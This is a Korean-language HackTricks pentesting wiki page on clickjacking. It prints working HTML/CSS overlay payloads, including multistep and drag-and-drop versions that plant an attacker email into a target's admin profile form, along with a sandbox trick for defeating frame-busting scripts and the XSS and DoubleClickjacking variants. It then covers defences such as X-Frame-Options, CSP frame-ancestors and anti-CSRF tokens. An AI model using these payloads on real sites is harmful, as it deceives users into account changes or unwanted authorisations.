hacktricks/src/pentesting-web/clickjacking.md

202 lines
10 KiB
Markdown

# Clickjacking
{{#include ../banners/hacktricks-training.md}}
## What is Clickjacking
클릭재킹 공격에서, **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 제품의 온라인 구매 등이 있습니다.
### Prepopulate forms trick
때때로 **페이지 로딩 시 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 행동을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
### Populate form with Drag\&Drop
사용자에게 **양식을 작성하도록** 요구하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이 제어된 데이터를 작성할 수 있는 무언가를 **드래그 앤 드롭**하도록 요청할 수 있습니다.
### Basic Payload
```css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### 다단계 페이로드
```css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click 페이로드
```css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹에 취약**하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
예시:\
계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹에 취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\
공격자는 **XSS 페이로드**로 **양식**을 **미리 채우는** 클릭재킹 공격을 준비하고 **사용자**를 속여 양식을 **제출**하도록 할 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**.
### DoubleClickjacking
먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하고, 마우스 다운 이벤트와 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게** 합니다.
예시는 이 비디오에서 볼 수 있습니다: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
코드 예시는 [이 페이지](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)에서 찾을 수 있습니다.
> [!WARNING]
> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있게 합니다. 따라서 공격자는 **1회 클릭으로 수행할 수 있는 민감한 작업, 예를 들어 권한을 수락하는 OAuth 프롬프트**를 찾아야 합니다.
## Clickjacking 완화 전략
### 클라이언트 측 방어
클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:
- 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
- 모든 프레임을 표시합니다.
- 보이지 않는 프레임에서 클릭을 방지합니다.
- 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다.
그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다:
- **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
`allow-forms``allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin``allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 허용할 권한을 안내할 수 있습니다.
### 서버 측 방어
#### X-Frame-Options
**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `<frame>` 또는 `<iframe>`에서 페이지를 렌더링하는 것이 합법적인지에 대한 정보를 제공하여 Clickjacking을 방지하는 데 도움을 줍니다:
- `X-Frame-Options: deny` - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
- `X-Frame-Options: sameorigin` - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
- `X-Frame-Options: allow-from https://trusted.com` - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
- 제한 사항에 유의하십시오: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
#### Content Security Policy (CSP) frame-ancestors 지시어
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 방지를 위한 권장 방법입니다:
- `frame-ancestors 'none'` - `X-Frame-Options: deny`와 유사합니다.
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`과 유사합니다.
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`과 유사합니다.
예를 들어, 다음 CSP는 동일한 도메인에서만 프레임을 허용합니다:
`Content-Security-Policy: frame-ancestors 'self';`
추가 세부정보 및 복잡한 예제는 [frame-ancestors CSP 문서](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)와 [Mozilla의 CSP frame-ancestors 문서](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)에서 확인할 수 있습니다.
### `child-src` 및 `frame-src`가 포함된 Content Security Policy (CSP)
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.
#### `frame-src` 지시어
- 프레임에 대한 유효한 소스를 정의합니다.
- `default-src` 지시어보다 더 구체적입니다.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임을 허용합니다.
#### `child-src` 지시어
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입됨.
- frame-src 및 worker-src에 대한 대체 역할을 함.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
이 정책은 동일 출처(자기 자신)와 https://trusted-website.com에서 프레임과 워커를 허용합니다.
**사용 노트:**
- 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
- 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
- 엄격한 출처 정의: 악용을 방지하기 위해 지침에 신뢰할 수 있는 출처만 포함하십시오.
#### JavaScript 프레임 깨기 스크립트
완전히 안전하지는 않지만, JavaScript 기반의 프레임 버스터 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:
```javascript
if (top !== self) {
top.location = self.location
}
```
#### Anti-CSRF 토큰 사용
- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
## References
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
{{#include ../banners/hacktricks-training.md}}